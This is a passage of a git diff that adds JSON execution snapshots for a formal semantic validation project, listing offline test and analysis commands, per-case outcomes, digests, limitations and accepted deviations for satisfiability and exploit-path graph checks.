"Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "8efffc85f5fa90fab9f8bac55471484624ef6cc4", + "source_state": { + "base_revision": "8efffc85f5fa90fab9f8bac55471484624ef6cc4", + "checkout_state": "modified", + "implementation_digest": "4dcfb6153100f2000b027ca378e4c22adcb84fd03fc3ad84474fee435e13ee37", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "3.5.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v21.json b/docs/research/formal-semantic-validation/execution-snapshot-v21.json new file mode 100644 index 000000000..1963e7246 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v21.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1237-execution-v20", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v20.json", + "release_revision": "21.0.0", + "release_sha256": "2ccf3518d3607e4fba87eca46f63be7c54a7bd769d00b7e902035508b1e0b51c" + }, + "captured_at": "2026-09-16T02:16:08.146564+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v21", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-341-execution-v21", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "f39cd4f7146056764ce385028767eb862cdaa11d1ffda85c1d735e4367fb64cf", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "66c64ed1807210579d2450a7b22032c3392db3f6b7fc639cdd898f61705c8c9a", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v21", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-341-execution-v21", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "406ba1e2d21709279f55dec63e4c07fd88a3d384", + "source_state": { + "base_revision": "406ba1e2d21709279f55dec63e4c07fd88a3d384", + "checkout_state": "modified", + "implementation_digest": "732a58e79daa0d3491375de03b24f9c1fdcecd1da287031da2e6d4eedc5e7e34", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "3.5.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v22.json b/docs/research/formal-semantic-validation/execution-snapshot-v22.json new file mode 100644 index 000000000..026163518 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v22.json @@ -0,0 +1,696 @@ +{ + "baseline": { + "execution_id": "issue-341-execution-v21", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v21.json", + "release_revision": "22.0.0", + "release_sha256": "26c973087541bf0efd776b49025d91dc9eef1869d85769959b0dd7bdb7665997" + }, + "captured_at": "2026-09-16T06:27:11.854917+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v22", + "corpus_revision": "3.0.0", + "deviations": [ + { + "baseline": { + "actual_outcome": "stable", + "diagnostic_kind": null, + "result_digest": "f39cd4f7146056764ce385028767eb862cdaa11d1ffda85c1d735e4367fb64cf" + }, + "case_id": "compile-repeatability-control", + "category": "compiled-representation-change", + "changed_fields": [ + "result_digest" + ], + "disposition": "accepted", + "rationale": "The compiled source description carries optional augmentation scope; replay retains the same bounded outcome with a changed compiled representation digest.", + "retest": { + "actual_outcome": "stable", + "diagnostic_kind": null, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c" + } + }, + { + "baseline": { + "actual_outcome": "distinguishable", + "diagnostic_kind": null, + "result_digest": "66c64ed1807210579d2450a7b22032c3392db3f6b7fc639cdd898f61705c8c9a" + }, + "case_id": "compile-non-vacuity-control", + "category": "compiled-representation-change", + "changed_fields": [ + "result_digest" + ], + "disposition": "accepted", + "rationale": "The compiled source description carries optional augmentation scope; replay retains the same bounded outcome with a changed compiled representation digest.", + "retest": { + "actual_outcome": "distinguishable", + "diagnostic_kind": null, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2" + } + } + ], + "execution_id": "issue-1242-execution-v22", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v22", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v22", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v22", + 